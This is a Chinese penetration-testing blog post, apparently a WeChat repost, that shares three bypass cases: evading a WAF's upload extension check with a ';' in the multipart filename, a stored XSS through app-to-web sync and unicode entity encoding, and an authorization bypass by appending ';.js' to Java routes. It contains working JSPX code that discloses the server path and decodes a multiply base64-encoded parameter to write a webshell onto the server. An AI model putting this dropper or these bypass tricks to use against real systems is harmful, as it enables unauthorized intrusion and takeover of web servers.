三个bypass案例分享
The following article is from goddemon的小屋 Author goddemon
公众号现在只对常读和星标的公众号才展示大图推送，
建议大家把听风安全设为星标，否则可能就看不到啦！
----------------------------------------------------------------------
首发：土司论坛
案例1 文件上传
waf bypass内容校验+后缀校验
已具备条件：上传处可上传任意类型的文件，但是平台存在waf，直接上传会被拦截
bypass后缀校验
利用原理：
利用服务器解析rfc和waf解析rfc的差异性进行bypass。
waf解析的rfc格式为获取所有filename字段内容
因此利用；
分割符号使服务器的rfc解析获取到的为jspx
而waf获取的为.jspx;即可绕过
因为服务器组件解析获取到；时会停止解析后面的内容
同理以前过某服的waf 也是同样的这个原理
格式：
filename=1.jsp
z
c案例如下：
正常传一个jpg
改为后缀为jsp 直接被拦
双写filename 先将filename="1.txt"放在后面看看waf是怎样获取格式的 发觉被拦截
放在前面 且删除双引号 也是被拦截
尝试将其均改为txt 可进行上传
因此猜测
waf是直接获取的所有的filename字段，然后取后缀是否为jsp或者jspx
即判断是否为wenshell的后缀，且跟双引号无关
因此猜测利用jspx;
这种方式时waf取的后缀为jspx;
进行尝试 与猜测中相同
直接bypass后缀校验
内容绕过：
这个案例倒不是我写的了 这个目标站的具体图没有了
之前在先知里面看到的一种手法，这里也是利用其进行绕掉了 上传jspx 然后访问获取绝对路径,这里的test.jsp改为服务器已经存在的
jspx
<hi xmlns:hi="http://java.sun.com/JSP/Page">
<hi:scriptlet>
String path = application.getRealPath("test.jsp");
out.println(path);
</hi:scriptlet>
</hi>
获取到绝对路径后
在利用 上传上去后 如test.jspx?x=6base64编码的webshell 根据waf强度自己改多少次base64 下面这个写马
<hi xmlns:hi="http://java.sun.com/JSP/Page">
<hi:directive.page import="java.util.Base64,java.io.*"/>
<hi:scriptlet>
File file = new File("绝对路径+webshell的名字");
FileWriter fileOut = new FileWriter(file);
Base64.Decoder base64 = Base64.getDecoder();
byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8")))))));
try {
fileOut.write(new String(str, "utf-8"));
out.println("写入成功");
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (fileOut != null) {
fileOut.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
</hi:scriptlet>
</hi>
最后也是成功写入，成功获取webshell
案例2 存储xss bypass
apk+论坛联动+unicode编码未禁用导致存储xss bypass
产生原理：
app中过滤禁用了事件属性，但是没禁用标签
手机apk的数据会同步到web网站数据中
web网站中 实体编码了标签，但是没禁用事件属性，如onerror等事件属性，且实体unicode编码未禁用 进而组合可进行绕过
具体案例如下：
①手机app发一个帖子
②web网站中
找到刚才同步过去的帖子点击进行编辑
编辑输入实体编码 如下
然后点击发布即可 弹弹弹 弹走鱼尾纹
案例3 权限校验绕过
;符号绕过鉴权
原理：requesturi+endswith进行鉴权判断，进而导致权限被绕过
由于requesturi获取路由会把所有的路由均取进来因此可能会导致绕过
具体案例如下：
找了一圈有图的，找了个审计的
这个是审计出的，也有存黑盒绕过出了的 但是因为图片缺少的原因
所以还是采用这个给大家分享
分享这个案例的原因是因为 结合这个案例
我们在对java语言项目做渗透测试的时候
有时候可以考虑在.do或者.action 或者.jsp后面添加;.js或者;.css这种路径
说不定会产生不一样的惊喜
当然啦 ../../+js路由这种手法和//这两种也可以进行测试 也有可能遇到不一样的惊喜